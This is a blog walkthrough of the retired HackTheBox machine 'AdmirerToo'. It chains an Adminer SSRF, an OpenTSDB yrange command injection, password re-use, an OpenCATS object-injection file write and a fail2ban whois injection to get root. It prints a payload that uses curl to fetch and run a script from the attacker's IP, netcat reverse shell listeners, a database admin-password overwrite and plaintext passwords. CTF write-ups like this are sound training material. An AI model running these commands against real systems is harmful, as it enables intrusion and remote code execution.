AdmirerToo just retired on HackTheBox. It was a Hard difficulty Linux box. It was well designed and required to chain several exploits in order to retrieve the flags. The path to user was not that obvious and required a lot of enumeration. The box relied mainly on common vulnerabilities, with some of them rather unusual but very interesting to chain. In the end, it’s a tough but good box that I recommend.
Tl;Dr: To get the user flag you first have to find and exploit a SSRF vulnerability in Adminer to discover a local instance of OpenTSDB, then use the SSRF to exploit a command injection vulnerability in OpenTSDB to get your first shell. After enumeration, a database password re-use allows you to connect and get the user flag. For the root flag you first have to discover an Opencats instance vulnerable to arbitrary file write. A fail2ban client is vulnerable to command injection when you can control the result of a whois query to your attacking IP address. Using the Opencats instance to write a whois.conf file pointing to your malicious whois server allows you to exploit the Fail2ban command injection to get a root shell.
First things first, let’s add the box IP to the “hosts” file:
We start we the usual nmap scan to discover the running services:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
[hg8@archbook ~]$ nmap -sV -sT -sC admirertoo.htb Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-30 09:11 UTC Nmap scan report for admirertoo.htb (10.129.111.234) Host is up (0.031s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 99:33:47:e6:5f:1f:2e:fd:45:a4:ee:6b:78:fb:c0:e4 (RSA) | 256 4b:28:53:64:92:57:84:77:5f:8d:bf:af:d5:22:e1:10 (ECDSA) |_ 256 71:ee:8e:e5:98:ab:08:43:3b:86:29:57:23:26:e9:10 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Admirer |_http-server-header: Apache/2.4.38 (Debian) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.02 seconds
As usual we have the port SSH (22) open as well as port 80 with a simple image gallery landing page:
Let’s do the usual web page enumeration on this page. Trying to fuzz for hidden endpoints with gobuster doesn’t return anything interesting:
Now what? Maybe it’s time to do what we should have done from the beginning and review the landing page manually to see if we can find any information that automated tools can’t find. And indeed, while visiting a non-existing page we notice an interesting new domain in the mailto field:
1 2 3 4 5 6 7 8 9 10
[hg8@archbook ~]$ curl admirertoo.htb/hg8 <!DOCTYPE HTMLPUBLIC"-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.38 (Debian) Server at <ahref="mailto:webmaster@admirer-gallery.htb">admirertoo.htb</a> Port 80</address> </body></html>
Let’s add admirer-gallery.htb to our host file and retry our vhost discovery:
We finally find something interesting. After adding db.admirer-gallery.htb to our host file we can access an Adminer database instance.
Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consists of a single file ready to deploy to the target server. https://www.adminer.org/
Adminer database
Oddly enough no credentials are needed to access the database. While looking at the source code we can see that the database password is actually hard-coded into the HTML form:
The database itself doesn’t hold any interesting information. Let’s see if we can exploit a vulnerability in Adminer instead. We know from the login page that the running version is 4.7.8.
SSRF on Adminer
A quick Google search return the following vulnerability that looks interesting to us:
The issue seems to rely on the elastic connection module. While configured for Elasticsearch Adminer will try to connect to the provided host (in our case our attacking machine with specific server response) and return the request response into the error message.
The PoC PDF outlines the vulnerability in detail. We should be able to reproduce it on our instance. First of all we need to set up an intercept script to redirect traffic to localhost:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
#!/usr/bin/env python3
import sys from http.server import HTTPServer, BaseHTTPRequestHandler
We can then use Burp Suite to intercept and modify the connection request in order to, firstly, point the connector to our attacking machine (which will be intercepted by the [redirect.py](http://redirect.py) script) and then modify the auth_driver to the vulnerable elastic driver:
Once the request forwarded we can see an incoming request confirming the SSRF succeed:
A typical way to exploit SSRF would be to make connections to internal-only services within the box infrastructure. The issue is, we don’t know what kind of services are running there. We could brute-force to find the open ports but this will be a pain…
I decided to take a step back and while looking back at my recon phase I noticed that out of habits I didn’t use sudo to run nmap, for once not running a program as root can be a bad habits since some discovery methods used by nmap (UDP port scanning) rely on the root privilege to work properly. And indeed, if we restart nmap as root, we find a new port 4242 being marked as “filtered”.
Filtered Port: Nmap cannot determine whether the port is open because packet filtering (firewall) prevents its probes from reaching the port. The filtering could be from a dedicated firewall device, router rules, or host-based firewall software. https://nmap.org/book/man.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
[hg8@archbook ~]$ sudo nmap -p- -sV -sC admirertoo.htb Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-30 14:34 UTC Nmap scan report for admirertoo.htb (10.129.111.234) Host is up (0.035s latency). Not shown: 65530 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 99:33:47:e6:5f:1f:2e:fd:45:a4:ee:6b:78:fb:c0:e4 (RSA) | 256 4b:28:53:64:92:57:84:77:5f:8d:bf:af:d5:22:e1:10 (ECDSA) |_ 256 71:ee:8e:e5:98:ab:08:43:3b:86:29:57:23:26:e9:10 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Admirer |_http-server-header: Apache/2.4.38 (Debian) 4242/tcp filtered vrml-multi-use 16010/tcp filtered unknown 16030/tcp filtered unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Let’s see if we can exploit the SSRF vulnerability against the service running on port 4242:
It works! It seems to be a web server. The page title refers to an OpenTSDB application. Never heard of it before:
OpenTSDB is a distributed, scalable Time Series Database (TSDB) written on top of HBase. http://opentsdb.net/
Adminer SSRF → OpenTSBD RCE
After another quick Google search we stumble upon a Remote Code Execution Vulnerability in OpenTSBD:
CVE-2020-35476: A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory. This file is then executed via the mygnuplot.sh shell script. (tsd/GraphHandler.java attempted to prevent command injections by blocking backticks but this is insufficient.) https://www.cvedetails.com/cve/CVE-2020-35476/
Let’s see if the version running on the box is vulnerable.
OpenTSBD returns an error message. It’s a pain to read it but we can understand that the metric cpu.nice we used from the vulnerability PoC is not available on this instance (No such name for 'metrics': 'sys.cpu.nice’).
Following the documentation we can find an endpoint to list available metrics:
[+] Running redirect HTTP Server to http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system('curl%2010.10.14.67%3A8000%2Fhg8.py%20-o%20%2Ftmp%2Fhg82.py%3Bpython%20%2Ftmp%2Fhg82.py')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json 10.129.111.234 - - [30/Apr/2022 17:12:54] "GET / HTTP/1.0" 301 -
We receive a connection and our first shell on the box:
1 2 3 4 5 6
[hg8@archbook ~]$ nc -l -vv -p 8585 Listening on 0.0.0.0 8585 Connection received on admirertoo.htb 58676 /bin/sh: 0: can't access tty; job control turned off opentsdb@admirertoo:/$ id uid=1000(opentsdb) gid=1000(opentsdb) groups=1000(opentsdb)
Privilege escalation → jennifer user
Listing /home/ and /etc/passwd to find the user and flag location:
1 2
opentsdb@admirertoo:/$ ls /home/ jennifer
To get a user flag we will need to find a way to pivot to jennifer user.
While doing the usual recon we notice that a service is running on port 8080 and probably connected to MySQL instance on port 3306:
OpenCATS is a Free and Open Source Candidate/Applicant Tracking System designed for Recruiters to manage recruiting process from job posting, candidate application, through to candidate selection and submission.
More details: http://www.opencats.org [...]
It’s probably safe to guess this is the app running on port 8080.
Reading through the source code we can quickly retrieve the MySQL database credentials:
We find a MD5 hash for admin user and jennifer. Unfortunately none of the hash can’t be found in MD5 reverse database. We are maybe on the wrong track for now.
jennifer password re-use
Going back to our enumeration we stumble upon the install folder of the Adminer application and find a commented out password:
Since it’s important to check everything, let’s try to login to jennifer SSH using one of the passwords we found so far ? (1w4nn4b3adm1r3d2!, adm1r3r0fc4ts, bQ3u7^AxzcB7qAsxE3)
I wasn’t expecting it to work, it’s a good reminder to stick to the basics even on “Hard” rated difficulty box :)
Root flag
Recon
So now that we are on jennifer account we can probably continue our recon on opencats application. First we can confirm it’s accessible from jennifer user:
We are presented with a login page telling us the version number (0.9.5.2). A quick Google search return an interesting vulnerability for this version:
OpenCATS PHP Object Injection to Arbitrary File Write (CVE-2021-25294) OpenCATS through 0.9.5-3 unsafely deserializes index.php?m=activity requests, leading to remote code execution. This occurs because lib/DataGrid.php calls unserialize for the parametersactivity:ActivityDataGrid parameter. The PHP object injection exploit chain can leverage an __destruct magic method in guzzlehttp. https://snoopysecurity.github.io/web-application-security/2021/01/16/09_opencats_php_object_injection.html
The blog post is very well explained and contains a PoC so let’s give a try.
First of all since we have write access to the database let’s just overwrite the admin password with our own to login to opencats admin panel:
1 2 3 4 5 6 7 8 9
[hg8@archbook ~]$ echo -n hg8 | md5sum 70595983983f280d57999c58eda9f2a3 - $ mysql -u cats -p Enter password: MariaDB [(none)]> use cats_dev; Database changed MariaDB [cats_dev]> update user set password = '70595983983f280d57999c58eda9f2a3'where user_id=1; Query OK, 1 row affected (0.006 sec) Rows matched: 1 Changed: 1 Warnings: 0
We can now connect:
In order to exploit the vulnerability, as explained in the blog post, we need to go to the activities tab, select the date page and intercept the request in Burp:
According to the vulnerability write-up, the activity parameter is vulnerable. So, we need to generate a serialized exploit using PHPGGC and replace the default one with it.
We have no information to know where to upload the PHP webshell nor which users permission will be applied. Let’s try to upload to the usual /dev/shm directory to check the file permission:
However when searching for the running version (0.10.2), we stumble upon an interesting vulnerability:
Possible RCE vulnerability in mailing action using mailutils (CVE-2021-32749) Command mail from mailutils package used in mail actions like mail-whois can execute command if unescaped sequences (\n~) are available in “foreign” input (for instance in whois output). https://github.com/fail2ban/fail2ban/security/advisories/GHSA-m985-3f3v-cwmm
fail2ban is tool used to analyse logs (or other data sources) in search of brute force traces in order to block such attempts based on the IP address. There are plenty of rules for different services (SSH, SMTP, HTTP, etc.). There are also defined actions which could be performed after blocking a client. One of these actions is sending an e-mail:
1
[hg8@archbook ~]$ echo"test e-mail" | mail -s "subject" user@example.org
Looking at the config file on the box we confirm that fail2ban use mail as Mail Transfer Agent (mta) to notify when a brute-force attempt is detected:
We have the possibility to trigger the jail by sending brute-force attempts on the SSH port. Once triggered the jail will send an email to root@admirertoo.htb:
1 2 3 4 5 6 7 8 9
jennifer@admirertoo:/etc/fail2ban$ cat action.d/mail.conf [...] actionban = printf %%b "Hi,\n The IP <ip> has just been banned by Fail2Ban after <failures> attempts against <name>.\n\n Here is more information about <ip> :\n `%(_whois_command)s`\n Regards,\n Fail2Ban"|mail -s "[Fail2Ban] <name>: banned <ip> from <fq-hostname>" <dest>
According to the vulnerability writeup we need to control our whois server response to hold the malicious payload.
Malicious whois server
First of all, we need to configure whois to connect to our own server. Unfortunately we don’t have permission to edit /etc/hosts to do so…
One alternative is taking advantage of the whois.conf config file to define the IP address of the Whois server to use. Again we don’t have write permission to the /etc/ folder either.
That’s where the opencats arbitrary file will come useful since it gives us permission to write to /usr/local/etc (local equivalent to /etc for software).
Trying to do so we quickly stumble upon another blocker, the file we uploaded earlier using opencats vulnerability output the following format:
Our actual test string is only a part of the file content created by opencats.
This is not going to work for our initial plan to create the whois.conf since whois expect the configuration file to be a server address or domain name list:
1 2 3 4 5 6
[hg8@archbook ~]$ man whois.conf [...] This file contains a list of WHOIS servers which can augment or override the built-in list of the client. It's a plain text file in ASCII encoding. Each line consists of two fields: a pattern to match WHOIS object identifier and a corresponding WHOIS server domain name. Fields are separated by non-empty sequence of space or a tabular characters. A line starting with a hash character is a free comment and it's not considered.
Just to make sure we can give a try on our local machine:
We get a parsing error message as expected. However when checking the source code of whois we can see that a regex is being applied to extract the server IP Address or Domain name.
1 2 3 4 5 6
[hg8@archbook ~]$ cat /ect/whois.conf # whois configuration file [..] # Each entry is a single # text line and consists of a regular expression pattern to match and # the whois server to be used for it, separated by blank space.
So if we include a proper regex escape maybe the config file can be parsed properly.
After digging in the madness of regex and several trial and errors we can come up with the following valid format:
Now we create our reverse shell and host it on a simple whois sever containing the reverse shell payload according to the fail2ban vulnerability write-up:
In order to get the attacker information, fail2ban will perform a whois on our IP, which will return the malicious payload to be executed by fail2ban as root:
1 2 3 4 5
listening on [any] 8585 ... 10.129.96.181: inverse host lookup failed: Unknown host connect to [10.10.14.67] from (UNKNOWN) [10.129.96.181] 60760 root@admirertoo:/# cat /root/root.txt 261xxxxxxxxxxxxxxxxxf80